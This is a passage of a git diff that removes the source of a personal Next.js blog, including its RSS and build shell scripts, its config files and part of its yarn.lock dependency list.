Binary files differdeleted file mode 100644 index b4d9438..0000000 --- a/public/font/jetbrainsmono/JetBrainsMono-Medium.woff2 +++ /dev/null diff --git a/public/font/jetbrainsmono/JetBrainsMono-MediumItalic.woff2 b/public/font/jetbrainsmono/JetBrainsMono-MediumItalic.woff2 Binary files differdeleted file mode 100644 index 3ac249b..0000000 --- a/public/font/jetbrainsmono/JetBrainsMono-MediumItalic.woff2 +++ /dev/null diff --git a/public/font/jetbrainsmono/JetBrainsMono-Regular.woff2 b/public/font/jetbrainsmono/JetBrainsMono-Regular.woff2 Binary files differdeleted file mode 100644 index cc9a1ae..0000000 --- a/public/font/jetbrainsmono/JetBrainsMono-Regular.woff2 +++ /dev/null diff --git a/public/robots.txt b/public/robots.txt deleted file mode 100644 index 5b6f9d8..0000000 --- a/public/robots.txt +++ /dev/null @@ -1,2 +0,0 @@ -User-agent: * -Disallow: /atom.xml diff --git a/readme.md b/readme.md deleted file mode 100644 index 4daca90..0000000 --- a/readme.md +++ /dev/null @@ -1,16 +0,0 @@ -# blog - -this is the source of my blog website - -## important locations for stuff - -|**what** | **location** | -|----------------------|--------------------| -|**home page content** | `posts/index.md` | -|**posts** | `posts/*.md` | -|**pinned posts** | `pages/index.tsx` | -|**images** | `public/img/*` | -|**rss feed info** | `rss/base.xml` | -|**theme stuff** | `styles/theme.css` | - -it's mit licensed so you can basically shamelessly copy it and i won't cry diff --git a/robots.txt b/robots.txt new file mode 100644 index 0000000..7d329b1 --- /dev/null +++ b/robots.txt @@ -0,0 +1 @@ +User-agent: * diff --git a/rss/base.xml b/rss/base.xml deleted file mode 100644 index daa65ad..0000000 --- a/rss/base.xml +++ /dev/null @@ -1,10 +0,0 @@ -<?xml version="1.0" encoding="utf-8"?> -<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"> - <channel> - <title>Loek's excruciatingly interesting blog</title> - <description>This is where I post updates on things that I do</description> - <language>en-us</language> - <link>https://blog.pipeframe.xyz/atom.xml</link> - <atom:link href="https://blog.pipeframe.xyz/atom.xml" rel="self" type="application/rss+xml" /> - </channel> -</rss> diff --git a/rss/genrss b/rss/genrss deleted file mode 100755 index 9c3c19c..0000000 --- a/rss/genrss +++ /dev/null @@ -1,23 +0,0 @@ -#!/bin/sh - -cd $(dirname $0) - -alias xml="xmlstarlet" - -cp base.xml atom.xml -for file in ../out/post/*; do - base=$(basename "$file" .html) - - xml ed -L \ - -s '/rss/channel' -t elem -n item \ - --var newitem '$prev' \ - -s '$newitem' -t elem -n title -v "$(../scripts/meta title "../posts/${base}.md" | jq --raw-output)" \ - -s '$newitem' -t elem -n guid -v "$base" \ - -s '$newitem' -t elem -n link -v "/post/$base" \ - -s '$newitem' -t elem -n pubDate -v "$(../scripts/meta date "../posts/${base}.md" | jq --raw-output)" \ - -s '$newitem' -t elem -n description -v "$(pup -f "../out/post/${base}.html" .contentWrapper)" \ - atom.xml -done - -mv atom.xml ../out/ - diff --git a/scripts/build b/scripts/build deleted file mode 100755 index 0a5e246..0000000 --- a/scripts/build +++ /dev/null @@ -1,29 +0,0 @@ -#!/bin/sh - -web_root=/var/www/blog - -cd $(dirname $0) - -echo "-> generating posts.json..." -./genposts - -cd .. - -echo "-> building static files..." -npx next build - -echo "-> exporting static files..." -npx next export - -echo "-> generating atom.xml..." -./rss/genrss - -echo "-> cleaning $web_root..." -rm -rf $web_root/* - -echo "-> moving static files to $web_root..." -cp -rv out/* $web_root - -echo "-> cleaning out directory..." -rm -rfv out - diff --git a/scripts/genposts b/scripts/genposts deleted file mode 100755 index 22459fb..0000000 --- a/scripts/genposts +++ /dev/null @@ -1,9 +0,0 @@ -#!/bin/sh - -cd $(dirname $0) - -./posts |\ - jq ".posts |= sort_by(.date)" |\ - jq -c \ - > ../public/posts.json - diff --git a/scripts/meta b/scripts/meta deleted file mode 100755 index f7a3f84..0000000 --- a/scripts/meta +++ /dev/null @@ -1,22 +0,0 @@ -#!/bin/sh - -tag_name=$1 -filename=$2 - -output=$(grep -Poh "^\[meta\]:\s+<$tag_name>\s+\(\K(.+)(?=\)$)" $filename) - -if [ "$tag_name" = "tags" ]; then - echo $output |\ - sed "s/,\s*/\n/g" |\ - sed -z '$ s/\n$//' |\ - jq --raw-input --slurp 'split("\n")' -else - if [ "$output" = "" ]; then - echo "" | jq --raw-input - else - echo $output |\ - sed -z '$ s/\n$//' |\ - jq --raw-input - fi -fi - diff --git a/scripts/postinfo b/scripts/postinfo deleted file mode 100755 index d6da015..0000000 --- a/scripts/postinfo +++ /dev/null @@ -1,24 +0,0 @@ -#!/bin/sh - -cd "$(dirname $0)" - -filename=$1 - -jq -n \ - --argjson title "$(./meta title $filename)" \ - --argjson subtitle "$(./meta subtitle $filename)" \ - --argjson author "$(./meta author $filename)" \ - --argjson date "$(./meta date $filename)" \ - --argjson tags "$(./meta tags $filename)" \ - --argjson cover "$(./meta cover $filename)" \ - --argjson id "$(basename $filename .md | jq --raw-input)" \ -'{ - "title": $title, - "subtitle": $subtitle, - "author": $author, - "date": $date, - "tags": $tags, - "cover": $cover, - "id": $id -}' - diff --git a/scripts/posts b/scripts/posts deleted file mode 100755 index 12900e1..0000000 --- a/scripts/posts +++ /dev/null @@ -1,16 +0,0 @@ -#!/bin/sh - -postsmeta=$( find ../posts \ - -name "*.md" \ - -type f \ - -exec ./postinfo {} \; |\ - jq -s '.') - -jq -n \ - --argjson valid_tags "$(./tags)" \ - --argjson posts "$postsmeta" \ -'{ - "valid_tags": $valid_tags, - "posts": $posts -}' - diff --git a/scripts/tags b/scripts/tags deleted file mode 100755 index c0e784b..0000000 --- a/scripts/tags +++ /dev/null @@ -1,10 +0,0 @@ -#!/bin/sh - -grep -Proh \ - "^\[meta\]:\s+<tags>\s+\(\K(.+)(?=\)$)" ../posts |\ - sed "s/,\s*/\n/g" |\ - sort |\ - uniq |\ - sed -z '$ s/\n$//' |\ - jq --raw-input --slurp 'split("\n")' - diff --git a/tsconfig.json b/tsconfig.json deleted file mode 100644 index 2ba1e4f..0000000 --- a/tsconfig.json +++ /dev/null @@ -1,29 +0,0 @@ -{ - "compilerOptions": { - "target": "es5", - "lib": [ - "dom", - "dom.iterable", - "esnext" - ], - "allowJs": true, - "skipLibCheck": true, - "strict": false, - "forceConsistentCasingInFileNames": true, - "noEmit": true, - "esModuleInterop": true, - "module": "esnext", - "moduleResolution": "node", - "resolveJsonModule": true, - "isolatedModules": true, - "jsx": "preserve" - }, - "include": [ - "next-env.d.ts", - "**/*.ts", - "**/*.tsx" - ], - "exclude": [ - "node_modules" - ] -} diff --git a/yarn.lock b/yarn.lock deleted file mode 100644 index d97882f..0000000 --- a/yarn.lock +++ /dev/null @@ -1,2480 +0,0 @@ -# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY. -# yarn lockfile v1 - - -"@babel/code-frame@7.12.11": - version "7.12.11" - resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.12.11.tgz#f4ad435aa263db935b8f10f2c552d23fb716a63f" - integrity sha512-Zt1yodBx1UcyiePMSkWnU4hPqhwq7hGi2nFL1LeA3EUl+q2LQx16MISgJ0+z7dnmgvP9QtIleuETGOiOH1RcIw== - dependencies: - "@babel/highlight" "^7.10.4" - -"@babel/helper-validator-identifier@^7.12.11": - version "7.12.11" - resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz#c9a1f021917dcb5ccf0d4e453e399022981fc9ed" - integrity sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw== - -"@babel/highlight@^7.10.4": - version "7.13.10" - resolved "https://registry.yarnpkg.com/@babel/highlight/-/highlight-7.13.10.tgz#a8b2a66148f5b27d666b15d81774347a731d52d1" - integrity sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg== - dependencies: - "@babel/helper-validator-identifier" "^7.12.11" - chalk "^2.0.0" - js-tokens "^4.0.0" - -"@babel/runtime@7.12.5": - version "7.12.5" - resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.12.5.tgz#410e7e487441e1b360c29be715d870d9b985882e" - integrity sha512-plcc+hbExy3McchJCEQG3knOsuh3HH+Prx1P6cLIkET/0dLuQDEnrT+s27Axgc9bqfsmNUNHfscgMUdBpC9xfg== - dependencies: - regenerator-runtime "^0.13.4" - -"@babel/runtime@^7.3.1", "@babel/runtime@^7.4.4", "@babel/runtime@^7.5.5", "@babel/runtime@^7.8.3", "@babel/runtime@^7.8.7": - version "7.13.10" - resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.13.10.tgz#47d42a57b6095f4468da440388fdbad8bebf0d7d" - integrity sha512-4QPkjJq6Ns3V/RgpEahRk+AGfL0eO6RHHtTWoNNr5mO49G6B5+X6d6THgWEAvTrznU5xYpbAlVKRYcsCgh/Akw== - dependencies: - regenerator-runtime "^0.13.4" - -"@babel/types@7.8.3": - version "7.8.3" - resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.8.3.tgz#5a383dffa5416db1b73dedffd311ffd0788fb31c" - integrity sha512-jBD+G8+LWpMBBWvVcdr4QysjUE4mU/syrhN17o1u3gx0/WzJB1kwiVZAXRtWbsIPOwW8pF/YJV5+nmetPzepXg== - dependencies: - esutils "^2.0.2" - lodash "^4.17.13" - to-fast-properties "^2.0.0" - -"@emotion/hash@^0.8.0": - version "0.8.0" - resolved "https://registry.yarnpkg.com/@emotion/hash/-/hash-0.8.0.tgz#bbbff68978fefdbe68ccb533bc8cbe1d1afb5413" - integrity sha512-kBJtf7PH6aWwZ6fka3zQ0p6SBYzx4fl1LoZXE2RrnYST9Xljm7WfKJrU4g/Xr3Beg72MLrp1AWNUmuYJTL7Cow== - -"@hapi/accept@5.0.1": - version "5.0.1" - resolved "https://registry.yarnpkg.com/@hapi/accept/-/accept-5.0.1.tgz#068553e867f0f63225a506ed74e899441af53e10" - integrity sha512-fMr4d7zLzsAXo28PRRQPXR1o2Wmu+6z+VY1UzDp0iFo13Twj8WePakwXBiqn3E1aAlTpSNzCXdnnQXFhst8h8Q== - dependencies: - "@hapi/boom" "9.x.x" - "@hapi/hoek" "9.x.x" - -"@hapi/boom@9.x.x": - version "9.1.2" - resolved "https://registry.yarnpkg.com/@hapi/boom/-/boom-9.1.2.tgz#48bd41d67437164a2d636e3b5bc954f8c8dc5e38" - integrity sha512-uJEJtiNHzKw80JpngDGBCGAmWjBtzxDCz17A9NO2zCi8LLBlb5Frpq4pXwyN+2JQMod4pKz5BALwyneCgDg89Q== - dependencies: - "@hapi/hoek" "9.x.x" - -"@hapi/hoek@9.x.x": - version "9.1.1" - resolved "https://registry.yarnpkg.com/@hapi/hoek/-/hoek-9.1.1.tgz#9daf5745156fd84b8e9889a2dc721f0c58e894aa" - integrity sha512-CAEbWH7OIur6jEOzaai83jq3FmKmv4PmX1JYfs9IrYcGEVI/lyL1EXJGCj7eFVJ0bg5QR8LMxBlEtA+xKiLpFw== - -"@material-ui/core@^4.11.3": - version "4.11.3" - resolved "https://registry.yarnpkg.com/@material-ui/core/-/core-4.11.3.tgz#f22e41775b0bd075e36a7a093d43951bf7f63850" - integrity sha512-Adt40rGW6Uds+cAyk3pVgcErpzU/qxc7KBR94jFHBYretU4AtWZltYcNsbeMn9tXL86jjVL1kuGcIHsgLgFGRw== - dependencies: - "@babel/runtime" "^7.4.4" - "@material-ui/styles" "^4.11.3" - "@material-ui/system" "^4.11.3" - "@material-ui/types" "^5.1.0" - "@material-ui/utils" "^4.11.2" - "@types/react-transition-group" "^4.2.0" - clsx "^1.0.4" - hoist-non-react-statics "^3.3.2" - popper.js "1.16.1-lts" - prop-types "^15.7.2" - react-is "^16.8.0 || ^17.0.0" - react-transition-group "^4.4.0" - -"@material-ui/icons@^4.11.2": - version "4.11.2" - resolved "https://registry.yarnpkg.com/@material-ui/icons/-/icons-4.11.2.tgz#b3a7353266519cd743b6461ae9fdfcb1b25eb4c5" - integrity sha512-fQNsKX2TxBmqIGJCSi3tGTO/gZ+eJgWmMJkgDiOfyNaunNaxcklJQFaFogYcFl0qFuaEz1qaXYXboa/bUXVSOQ== - dependencies: - "@babel/runtime" "^7.4.4" - -"@material-ui/styles@^4.11.3": - version "4.11.3" - resolved "https://registry.yarnpkg.com/@material-ui/styles/-/styles-4.11.3.tgz#1b8d97775a4a643b53478c895e3f2a464e8916f2" - integrity sha512-HzVzCG+PpgUGMUYEJ2rTEmQYeonGh41BYfILNFb/1ueqma+p1meSdu4RX6NjxYBMhf7k+jgfHFTTz+L1SXL/Zg== - dependencies: - "@babel/runtime" "^7.4.4" - "@emotion/hash" "^0.8.0" - "@material-ui/types" "^5.1.0" - "@material-ui/utils" "^4.11.2" - clsx "^1.0.4" - csstype "^2.5.2" - hoist-non-react-statics "^3.3.2" - jss "^10.5.1" - jss-plugin-camel-case "^10.5.1" - jss-plugin-default-unit "^10.5.1" - jss-plugin-global "^10.5.1" - jss-plugin-nested "^10.5.1" - jss-plugin-props-sort "^10.5.1" - jss-plugin-rule-value-function "^10.5.1" - jss-plugin-vendor-prefixer "^10.5.1" - prop-types "^15.7.2" - -"@material-ui/system@^4.11.3": - version "4.11.3" - resolved "https://registry.yarnpkg.com/@material-ui/system/-/system-4.11.3.tgz#466bc14c9986798fd325665927c963eb47cc4143" - integrity sha512-SY7otguNGol41Mu2Sg6KbBP1ZRFIbFLHGK81y4KYbsV2yIcaEPOmsCK6zwWlp+2yTV3J/VwT6oSBARtGIVdXPw== - dependencies: - "@babel/runtime" "^7.4.4" - "@material-ui/utils" "^4.11.2" - csstype "^2.5.2" - prop-types "^15.7.2" - -"@material-ui/types@^5.1.0": - version "5.1.0" - resolved "https://registry.yarnpkg.com/@material-ui/types/-/types-5.1.0.tgz#efa1c7a0b0eaa4c7c87ac0390445f0f88b0d88f2" - integrity sha512-7cqRjrY50b8QzRSYyhSpx4WRw2YuO0KKIGQEVk5J8uoz2BanawykgZGoWEqKm7pVIbzFDN0SpPcVV4IhOFkl8A== - -"@material-ui/utils@^4.11.2": - version "4.11.2" - resolved "https://registry.yarnpkg.com/@material-ui/utils/-/utils-4.11.2.tgz#f1aefa7e7dff2ebcb97d31de51aecab1bb57540a" - integrity sha512-Uul8w38u+PICe2Fg2pDKCaIG7kOyhowZ9vjiC1FsVwPABTW8vPPKfF6OvxRq3IiBaI1faOJmgdvMG7rMJARBhA== - dependencies: - "@babel/runtime" "^7.4.4" - prop-types "^15.7.2" - react-is "^16.8.0 || ^17.0.0" - -"@next/env@10.0.9": - version "10.0.9" - resolved "https://registry.yarnpkg.com/@next/env/-/env-10.0.9.tgz#455fd364c8a5ee012b2cd4406d5294164990706d" - integrity sha512-MERX3DY5u0Ed29eAsXeFBCZlFAGBtmjf7+Nht0hfgB25MPKKkIbC/0MRPcX/PQcAgLHsAHO6ay1u9xKzR4Vzjw== - -"@next/polyfill-module@10.0.9": - version "10.0.9" - resolved "https://registry.yarnpkg.com/@next/polyfill-module/-/polyfill-module-10.0.9.tgz#0c21442dd73ec31ae30ac560bc5c5fdce068a98f" - integrity sha512-kPOP6ku/e8zdrK8hwxOrjUrPLcdDEj12huLHVz+DZU+20q6VlhMOtR8aKHW1460L4LoLE/DAa7YyIuxtArhDRg== - -"@next/react-dev-overlay@10.0.9": - version "10.0.9" - resolved "https://registry.yarnpkg.com/@next/react-dev-overlay/-/react-dev-overlay-10.0.9.tgz#5162d66c05b2a0ca0d155f7e6663e8134d9d4ac9" - integrity sha512-JsSh2Y004MEuPYqBD9eTl4PVZIjSzSy2GcD7MrW/gQcExYNpeMIJAbh8/OcyO1t+OnQeIHF5s/xTMsDHBGNcew== - dependencies: - "@babel/code-frame" "7.12.11" - anser "1.4.9" - chalk "4.0.0" - classnames "2.2.6" - css.escape "1.5.1" - data-uri-to-buffer "3.0.1" - platform "1.3.6" - shell-quote "1.7.2" - source-map "0.8.0-beta.0" - stacktrace-parser "0.1.10" - strip-ansi "6.0.0" - -"@next/react-refresh-utils@10.0.9": - version "10.0.9" - resolved "https://registry.yarnpkg.com/@next/react-refresh-utils/-/react-refresh-utils-10.0.9.tgz#cdf9e41f8854c113397853daf78469b0c8140f14" - integrity sha512-LSoKnM+fI9MHHew+mBg1w2e4/gjwPQsI+mDTzmfwdBwje+j9U2Int6XOZftMqBPXSlL04vjC9SRBkp0+3h8cNA== - -"@opentelemetry/api@0.14.0": - version "0.14.0" - resolved "https://registry.yarnpkg.com/@opentelemetry/api/-/api-0.14.0.tgz#4e17d8d2f1da72b19374efa7b6526aa001267cae" - integrity sha512-L7RMuZr5LzMmZiQSQDy9O1jo0q+DaLy6XpYJfIGfYSfoJA5qzYwUP3sP1uMIQ549DvxAgM3ng85EaPTM/hUHwQ== - dependencies: - "@opentelemetry/context-base" "^0.14.0" - -"@opentelemetry/context-base@^0.14.0": - version "0.14.0" - resolved "https://registry.yarnpkg.com/@opentelemetry/context-base/-/context-base-0.14.0.tgz#c67fc20a4d891447ca1a855d7d70fa79a3533001" - integrity sha512-sDOAZcYwynHFTbLo6n8kIbLiVF3a3BLkrmehJUyEbT9F+Smbi47kLGS2gG2g0fjBLR/Lr1InPD7kXL7FaTqEkw== - -"@types/hast@^2.0.0": - version "2.3.1" - resolved "https://registry.yarnpkg.com/@types/hast/-/hast-2.3.1.tgz#b16872f2a6144c7025f296fb9636a667ebb79cd9" - integrity sha512-viwwrB+6xGzw+G1eWpF9geV3fnsDgXqHG+cqgiHrvQfDUW5hzhCyV7Sy3UJxhfRFBsgky2SSW33qi/YrIkjX5Q== - dependencies: - "@types/unist" "*" - -"@types/mdast@^3.0.0": - version "3.0.3" - resolved "https://registry.yarnpkg.com/@types/mdast/-/mdast-3.0.3.tgz#2d7d671b1cd1ea3deb306ea75036c2a0407d2deb" - integrity sha512-SXPBMnFVQg1s00dlMCc/jCdvPqdE4mXaMMCeRlxLDmTAEoegHT53xKtkDnzDTOcmMHUfcjyf36/YYZ6SxRdnsw== - dependencies: - "@types/unist" "*" - -"@types/mousetrap@^1.6.4": - version "1.6.8" - resolved "https://registry.yarnpkg.com/@types/mousetrap/-/mousetrap-1.6.8.tgz#448929e6dc21126392830465fdb9d4a2cfc16a88" - integrity sha512-zTqjvgCUT5EoXqbqmd8iJMb4NJqyV/V7pK7AIKq7qcaAsJIpGlTVJS1HQM6YkdHCdnkNSbhcQI7MXYxFfE3iCA== - -"@types/node@^14.14.36": - version "14.14.36" - resolved "https://registry.yarnpkg.com/@types/node/-/node-14.14.36.tgz#5637905dbb15c30a33a3c65b9ef7c20e3c85ebad" - integrity sha512-kjivUwDJfIjngzbhooRnOLhGYz6oRFi+L+EpMjxroDYXwDw9lHrJJ43E+dJ6KAd3V3WxWAJ/qZE9XKYHhjPOFQ== - -"@types/parse5@^5.0.0": - version "5.0.3" - resolved "https://registry.yarnpkg.com/@types/parse5/-/parse5-5.0.3.tgz#e7b5aebbac150f8b5fdd4a46e7f0bd8e65e19109" - integrity sha512-kUNnecmtkunAoQ3CnjmMkzNU/gtxG8guhi+Fk2U/kOpIKjIMKnXGp4IJCgQJrXSgMsWYimYG4TGjz/UzbGEBTw== - -"@types/prop-types@*": - version "15.7.3" - resolved "https://registry.yarnpkg.com/@types/prop-types/-/prop-types-15.7.3.tgz#2ab0d5da2e5815f94b0b9d4b95d1e5f243ab2ca7" - integrity sha512-KfRL3PuHmqQLOG+2tGpRO26Ctg+Cq1E01D2DMriKEATHgWLfeNDmq9e29Q9WIky0dQ3NPkd1mzYH8Lm936Z9qw== - -"@types/react-syntax-highlighter@^13.5.0": - version "13.5.0" - resolved "https://registry.yarnpkg.com/@types/react-syntax-highlighter/-/react-syntax-highlighter-13.5.0.tgz#b93c05f28844e7c35a5f1d38d3819099ffa82fbd" - integrity sha512-U7DrUaQRv3b+fsbPXMf7vC21K7DOkdNCQtp14Wm0Z5YLI9fPhndN4YTZ9eVXwmAivIg6lZ3YBVtGYucAS3H76A== - dependencies: - "@types/react" "*" - -"@types/react-transition-group@^4.2.0": - version "4.4.1" - resolved "https://registry.yarnpkg.com/@types/react-transition-group/-/react-transition-group-4.4.1.tgz#e1a3cb278df7f47f17b5082b1b3da17170bd44b1" - integrity sha512-vIo69qKKcYoJ8wKCJjwSgCTM+z3chw3g18dkrDfVX665tMH7tmbDxEAnPdey4gTlwZz5QuHGzd+hul0OVZDqqQ== - dependencies: - "@types/react" "*" - -"@types/react@*", "@types/react@^17.0.3": - version "17.0.3" - resolved "https://registry.yarnpkg.com/@types/react/-/react-17.0.3.tgz#ba6e215368501ac3826951eef2904574c262cc79" - integrity sha512-wYOUxIgs2HZZ0ACNiIayItyluADNbONl7kt8lkLjVK8IitMH5QMyAh75Fwhmo37r1m7L2JaFj03sIfxBVDvRAg== - dependencies: - "@types/prop-types" "*" - "@types/scheduler" "*" - csstype "^3.0.2" - -"@types/scheduler@*": - version "0.16.1" - resolved "https://registry.yarnpkg.com/@types/scheduler/-/scheduler-0.16.1.tgz#18845205e86ff0038517aab7a18a62a6b9f71275" - integrity sha512-EaCxbanVeyxDRTQBkdLb3Bvl/HK7PBK6UJjsSixB0iHKoWxE5uu2Q/DgtpOhPIojN0Zl1whvOd7PoHs2P0s5eA== - -"@types/unist@*", "@types/unist@^2.0.0", "@types/unist@^2.0.2", "@types/unist@^2.0.3": - version "2.0.3" - resolved "https://registry.yarnpkg.com/@types/unist/-/unist-2.0.3.tgz#9c088679876f374eb5983f150d4787aa6fb32d7e" - integrity sha512-FvUupuM3rlRsRtCN+fDudtmytGO6iHJuuRKS1Ss0pG5z8oX0diNEw94UEL7hgDbpN94rgaK5R7sWm6RrSkZuAQ== - -anser@1.4.9: - version "1.4.9" - resolved "https://registry.yarnpkg.com/anser/-/anser-1.4.9.tgz#1f85423a5dcf8da4631a341665ff675b96845760" - integrity sha512-AI+BjTeGt2+WFk4eWcqbQ7snZpDBt8SaLlj0RT2h5xfdWaiy51OjYvqwMrNzJLGy8iOAL6nKDITWO+rd4MkYEA== - -ansi-regex@^5.0.0: - version "5.0.0" - resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-5.0.0.tgz#388539f55179bf39339c81af30a654d69f87cb75" - integrity sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg== - -ansi-styles@^3.2.1: - version "3.2.1" - resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-3.2.1.tgz#41fbb20243e50b12be0f04b8dedbf07520ce841d" - integrity sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA== - dependencies: - color-convert "^1.9.0" - -ansi-styles@^4.1.0: - version "4.3.0" - resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-4.3.0.tgz#edd803628ae71c04c85ae7a0906edad34b648937" - integrity sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg== - dependencies: - color-convert "^2.0.1" - -anymatch@~3.1.1: - version "3.1.1" - resolved "https://registry.yarnpkg.com/anymatch/-/anymatch-3.1.1.tgz#c55ecf02185e2469259399310c173ce31233b142" - integrity sha512-mM8522psRCqzV+6LhomX5wgp25YVibjh8Wj23I5RPkPppSVSjyKD2A2mBJmWGa+KN7f2D6LNh9jkBCeyLktzjg== - dependencies: - normalize-path "^3.0.0" - picomatch "^2.0.4" - -asn1.js@^5.2.0: - version "5.4.1" - resolved "https://registry.yarnpkg.com/asn1.js/-/asn1.js-5.4.1.tgz#11a980b84ebb91781ce35b0fdc2ee294e3783f07" - integrity sha512-+I//4cYPccV8LdmBLiX8CYvf9Sp3vQsrqu2QNXRcrbiWvcx/UdlFiqUJJzxRQxgsZmvhXhn4cSKeSmoFjVdupA== - dependencies: - bn.js "^4.0.0" - inherits "^2.0.1" - minimalistic-assert "^1.0.0" - safer-buffer "^2.1.0" - -assert@^1.1.1: - version "1.5.0" - resolved "https://registry.yarnpkg.com/assert/-/assert-1.5.0.tgz#55c109aaf6e0aefdb3dc4b71240c70bf574b18eb" - integrity sha512-EDsgawzwoun2CZkCgtxJbv392v4nbk9XDD06zI+kQYoBM/3RBWLlEyJARDOmhAAosBjWACEkKL6S+lIZtcAubA== - dependencies: - object-assign "^4.1.1" - util "0.10.3" - -ast-types@0.13.2: - version "0.13.2" - resolved "https://registry.yarnpkg.com/ast-types/-/ast-types-0.13.2.tgz#df39b677a911a83f3a049644fb74fdded23cea48" - integrity sha512-uWMHxJxtfj/1oZClOxDEV1sQ1HCDkA4MG8Gr69KKeBjEVH0R84WlejZ0y2DcwyBlpAEMltmVYkVgqfLFb2oyiA== - -babel-plugin-syntax-jsx@6.18.0: - version "6.18.0" - resolved "https://registry.yarnpkg.com/babel-plugin-syntax-jsx/-/babel-plugin-syntax-jsx-6.18.0.tgz#0af32a9a6e13ca7a3fd5069e62d7b0f58d0d8946" - integrity sha1-CvMqmm4Tyno/1QaeYtew9Y0NiUY= - -bail@^1.0.0: - version "1.0.5" - resolved "https://registry.yarnpkg.com/bail/-/bail-1.0.5.tgz#b6fa133404a392cbc1f8c4bf63f5953351e7a776" - integrity sha512-xFbRxM1tahm08yHBP16MMjVUAvDaBMD38zsM9EMAUN61omwLmKlOpB/Zku5QkjZ8TZ4vn53pj+t518cH0S03RQ== - -base64-js@^1.0.2: - version "1.5.1" - resolved "https://registry.yarnpkg.com/base64-js/-/base64-js-1.5.1.tgz#1b1b440160a5bf7ad40b650f095963481903930a" - integrity sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA== - -big.js@^5.2.2: - version "5.2.2" - resolved "https://registry.yarnpkg.com/big.js/-/big.js-5.2.2.tgz#65f0af382f578bcdc742bd9c281e9cb2d7768328" - integrity sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ== - -binary-extensions@^2.0.0: - version "2.2.0" - resolved "https://registry.yarnpkg.com/binary-extensions/-/binary-extensions-2.2.0.tgz#75f502eeaf9ffde42fc98829645be4ea76bd9e2d" - integrity sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA== - -bn.js@^4.0.0, bn.js@^4.1.0, bn.js@^4.11.9: - version "4.12.0" - resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-4.12.0.tgz#775b3f278efbb9718eec7361f483fb36fbbfea88" - integrity sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA== - -bn.js@^5.0.0, bn.js@^5.1.1: - version "5.2.0" - resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-5.2.0.tgz#358860674396c6997771a9d051fcc1b57d4ae002" - integrity sha512-D7iWRBvnZE8ecXiLj/9wbxH7Tk79fAh8IHaTNq1RWRixsS02W+5qS+iE9yq6RYl0asXx5tw0bLhmT5pIfbSquw== - -braces@~3.0.2: - version "3.0.2" - resolved "https://registry.yarnpkg.com/braces/-/braces-3.0.2.tgz#3454e1a462ee8d599e236df336cd9ea4f8afe107" - integrity sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A== - dependencies: - fill-range "^7.0.1" - -brorand@^1.0.1, brorand@^1.1.0: - version "1.1.0" - resolved "https://registry.yarnpkg.com/brorand/-/brorand-1.1.0.tgz#12c25efe40a45e3c323eb8675a0a0ce57b22371f" - integrity sha1-EsJe/kCkXjwyPrhnWgoM5XsiNx8= - -browserify-aes@^1.0.0, browserify-aes@^1.0.4: - version "1.2.0" - resolved "https://registry.yarnpkg.com/browserify-aes/-/browserify-aes-1.2.0.tgz#326734642f403dabc3003209853bb70ad428ef48" - integrity sha512-+7CHXqGuspUn/Sl5aO7Ea0xWGAtETPXNSAjHo48JfLdPWcMng33Xe4znFvQweqc/uzk5zSOI3H52CYnjCfb5hA== - dependencies: - buffer-xor "^1.0.3" - cipher-base "^1.0.0" - create-hash "^1.1.0" - evp_bytestokey "^1.0.3" - inherits "^2.0.1" - safe-buffer "^5.0.1" - -browserify-cipher@^1.0.0: - version "1.0.1" - resolved "https://registry.yarnpkg.com/browserify-cipher/-/browserify-cipher-1.0.1.tgz#8d6474c1b870bfdabcd3bcfcc1934a10e94f15f0" - integrity sha512-sPhkz0ARKbf4rRQt2hTpAHqn47X3llLkUGn+xEJzLjwY8LRs2p0v7ljvI5EyoRO/mexrNunNECisZs+gw2zz1w== - dependencies: - browserify-aes "^1.0.4" - browserify-des "^1.0.0" - evp_bytestokey "^1.0.0" - -browserify-des@^1.0.0: - version "1.0.2" - resolved "https://registry.yarnpkg.com/browserify-des/-/browserify-des-1.0.2.tgz#3af4f1f59839403572f1c66204375f7a7f703e9c" - integrity sha512-BioO1xf3hFwz4kc6iBhI3ieDFompMhrMlnDFC4/0/vd5MokpuAc3R+LYbwTA9A5Yc9pq9UYPqffKpW2ObuwX5A== - dependencies: - cipher-base "^1.0.1" - des.js "^1.0.0" - inherits "^2.0.1" - safe-buffer "^5.1.2" - 